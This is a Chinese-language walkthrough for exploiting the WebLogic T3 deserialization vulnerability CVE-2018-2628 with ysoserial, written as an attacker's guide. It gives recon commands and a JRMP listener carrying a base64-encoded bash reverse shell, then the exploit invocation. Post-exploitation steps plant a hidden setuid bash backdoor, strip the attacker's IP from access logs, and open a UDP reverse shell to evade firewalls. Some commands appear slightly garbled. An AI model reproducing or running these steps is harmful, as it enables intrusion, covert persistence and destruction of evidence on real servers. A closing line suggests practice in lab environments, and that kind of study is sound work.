WebLogic T3协议反序列化漏洞CVE-2018-2628实战复现3步利用ysoserial获取Shell在Java应用安全领域WebLogic T3协议的反序列化漏洞一直是渗透测试中的经典案例。2018年曝光的CVE-2018-2628漏洞允许攻击者通过构造恶意T3协议数据包在目标服务器上实现远程代码执行。本文将从一个实战攻击者的视角详细拆解漏洞利用的三个关键阶段并提供可落地的操作指南。1. 环境侦察与漏洞确认侦察阶段是渗透测试的起点需要准确识别目标环境特征。对于WebLogic服务推荐使用组合式探测方法# 基础端口扫描 nmap -sV -p 7001,7002 target_ip # T3协议专项检测 nmap -n -v -p 7001,7002 target_ip --scriptweblogic-t3-info典型响应特征如下表所示响应字段漏洞版本特征HELO10.3.6.0 / 12.1.3.0JVMOIDBEA JRockit(多数受影响版本)OS任意操作系统注意实际测试中发现部分网络设备会拦截T3协议探测建议在扫描时添加--script-argsweblogic-t3-info.timeout5参数调整超时时间漏洞验证推荐使用多款工具交叉确认# 使用WebLogicScan检测Python版 git clone https://github.com/rabbitmask/WebLogicScan python weblogicScan.py -u http://target:7001 -p CVE-2018-2628 # 手工验证T3协议开放性 echo -e t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n | nc target_ip 70012. 攻击链构建与利用完整的攻击流程需要搭建JRMP监听服务和漏洞利用端两个组件2.1 JRMP服务端配置使用ysoserial工具启动监听需JDK环境java -cp ysoserial.jar ysoserial.exploit.JRMPListener \ 19111 CommonsCollections1 \ bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4xOTIvMTkxMTAgMD4mMQ}|{base64,-d}|{bash,-i}参数解析表参数作用示例值监听端口JRMP服务端口19111Gadget利用链选择CommonsCollections1CommandBase64编码的反弹shell命令参见示例2.2 漏洞利用端执行使用Python EXP脚本发起攻击python exp_CVE-2018-2628.py \ 192.168.1.100 7001 \ /path/to/ysoserial.jar \ 192.168.1.50 19111 \ JRMPClient关键参数说明victim_ip: 目标WebLogic地址victim_port: 通常为7001ysoserial路径: 本地工具路径JRMPListener_ip: 攻击机IPJRMPClient: 利用模块选择流量特征分析初始握手包包含t3 12.2.3字符串恶意序列化数据aced开头的十六进制流JRMP协议交互TCP 19111端口二次连接3. 后渗透与痕迹清理成功获取shell后建议执行以下操作# 权限维持 mkdir -p /var/tmp/.cache cp /bin/bash /var/tmp/.cache/.backdoor chmod xs /var/tmp/.cache/.backdoor # 日志清理 find /logs -name access.log* -exec sed -i /192.168.1.50/d {} \;常见问题处理方案编码问题# 解决中文乱码 export LANGen_US.UTF-8防火墙拦截# 使用DNS隧道绕过 bash -i /dev/udp/domain.com/53 01权限不足# 尝试其他Gadget链 JRMPListener 19111 Jdk7u21 whoami通过这三个阶段的系统化操作安全研究人员可以完整复现CVE-2018-2628的利用过程。在实际测试中建议使用Vulhub等标准化环境进行练习避免对生产系统造成影响。